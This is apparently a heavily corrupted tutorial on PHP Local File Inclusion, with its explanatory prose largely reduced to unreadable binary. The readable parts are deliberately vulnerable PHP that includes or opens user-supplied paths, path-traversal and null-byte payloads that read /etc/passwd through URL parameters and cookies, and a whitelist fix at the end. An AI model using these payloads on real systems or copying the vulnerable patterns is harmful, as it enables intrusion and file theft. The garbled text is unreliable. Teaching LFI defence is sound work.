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Local File Inclusion(LFI) 
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Include() 
Include_once() 
Require() 
Require_one() 
Fopen() 
File() 
Fil_get_contents() 
…. 
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if (isset($_GET['page'])) { $p = $_GET['page'];} 
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Include($p); 
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Index.php?page=home.php 
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Index.php?page=../../../../../etc/passwd 
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if (isset($_GET['page'])) { $p = $_GET['page'];} 
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Include($p.php); 
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Index.php?page=../../../../../etc/passwd 
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$st="zhzh"; 

�'�J��4
[�'Y��������\0��*��]���^K��_)
�'��'5�2�'���H��Y.����`
���'.�	� ��
��

\0 h z h z 
��

%����a b52�0��'�J����3�.
�����8�.�/
�%��&��
����'Y����/
�'.�	�'�'��(�)�S�2�-�	GG'����J���'���.��/���
�����(�
�	�,���K��F�'��'�J��%��	c�%�L.�(�)���*�.�'2�.��G��

��
��*&2�0�6�)<�2�%��&��
��������8�.�/
��O)
��2�-�	php�6�)<�2��	�0���TTTT���

��
Index.php?page=../../../../../etc/passwd%00 
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Include('../../../../../etc/passwd%00.php'); 
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$te=$HTTP_GET_VARS['te']; 
$dir=$HTTP_GET_VARS['dir']; 
$filename="$dir/$te"; 
$fd=fopen($filename,"r"); 
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.. 

�(�)�S�2�'���=.����-�	g����@�2�$te0�$dir�(�2�P��$�GET����@�2�0�45�2������
(?2�$filename���
��(+��P	���0�'5�2���O
���SI���@@�2�0��"���$�/
$filename�#��$�P��$�fopen�AB���'��'5�2�%��&��
�

'5�2�������O
GG�#��$fopen�����C����/���(_I�$filename�����4
��.
�	
���8�������B�.�'��0�%�
��0��
��F�'��0��C�2��	�%
�b\���������
��'��6�.���2��2�8����*�6�)���.
�	
����/�K ��

��
editor.php? te=/etc/passwd&dir=../../../../../ 

 
�#��$����0���(+��8�92file_get_contents()6�)<�2�������GG��<52�C(��3���
���P?��%�������	�(<3��

6.��2�8�92 ��
File_get_contents($_POST['file']); 
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<form method="post" action="editor.php"><br> 
<input type="text" name="file" size="25"><br> 
<input type="submit"><br> 
</form> 
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templatefile=$_GET['template'];i��
� �"")jif($templatefile��

� �� �;�templatefile="index.htmli��
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If(isset($_COOKIE['ck']))��
$lng=$_COOKE['ck']; 
$page="../lang/.$lng.php"; 
Include_once($page); 
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javascript:document.cookie = "ck=../../../etc/passwd%00; path=/;"; 
��
��

�
��O)
��$�-�	9�'��'���+��$����������0�(.(J�%�
��V�W�$�(5�2�����l�.�4
�AB���'�������\����
�l�.�4
���O
�AB���'.���2�6��'5���.
�	
���: �AB����B�.'5��������T��

��
�'�6)<�2���0
���0���������'.�M)
�C����k���
���`0��l�.�0��ALS2�4
�C����C
�)B ��

�� (J�()�
�	��.
�	
���'������?2�8��)���
���'
�
�: �/
�%��&��
 ��
���(?2�'���$��F
(J�(�
�b.�;�O.
��.
�	
�����S.���1�2�'
�
����%(J��.
�	
����G��

��
;d�secur = array("home", "news", "blog", "admini��

$page=$_GET['p'];��
if (in_array("$page", $secur)){���
include("/home/".$page.".php);}��
else��
m��
die "zaye shodi!!"��
n��

��
��
��



	�-�6�
���
�I�C0
����0��45���.
�	
���(���'������?2�0�6����U�+$�'
�
�'�
(��
�����
�������@�2��(+��P	$page�(�2�����GET/
�%��&��
�����(+��P	����0�%(J������
(?2���

�#��$in_array()�'��%(J�%�
���
(?2�'��6�)<�2�: R�$page�'J�����1�2�'
�
������
�'�'��������1�2��H
�
�;�@���K��_)
���o����0�'5�2����<)zaye shodi !!R��'5�2�p����

��
�`0��#��$�/
�%��&��
�;0�stripos()��92�����?2�C�����������
���qGG�0��$��?=)2�'���*��

�*��6���$���
���
��

���'�<.�4
�C����'��'5��'�&H�(�� ���=)
��S*.���)J
�'���J�'��%(J�'���H��Y.�������php���
�(�
�V�5$�'�����F�0�%(5.�%�
��V�W�$��3.0
�'&�Z0�0�#�
�$���<��B�%�L.���0����/�0��

���*I#�
�$�/
�;
(�������<��B�%�L.����2����'���$��F����%(J�'�	
�����!��"��
������
���c�����/
�(������5���K�BEr
�()2/��.�%(Jphp.net(��M��: ����/�K��F�'�� ��

��
name_func/net.php://http��

��
�0�(�)��s�����3��0��%(J�'�&H�"\�=2�'<)
��r�b�����F�%(J�'�J�.���J��
���P?��'\�?2�4
��

�;�
�����5�����Y�.
�C�$/
�'��(��*��42��
(+��
����������H�J�/
��<���J�'<)
�;0����\�T��
�E+��C�����5�)2�(_I'\�?2;�
(.�0��GG6J�����J�C0h�
�/0�����5���(��J�'<)
�(�2
�'�G��

��
net.virangar.www 

 
hadihadi��

��
��


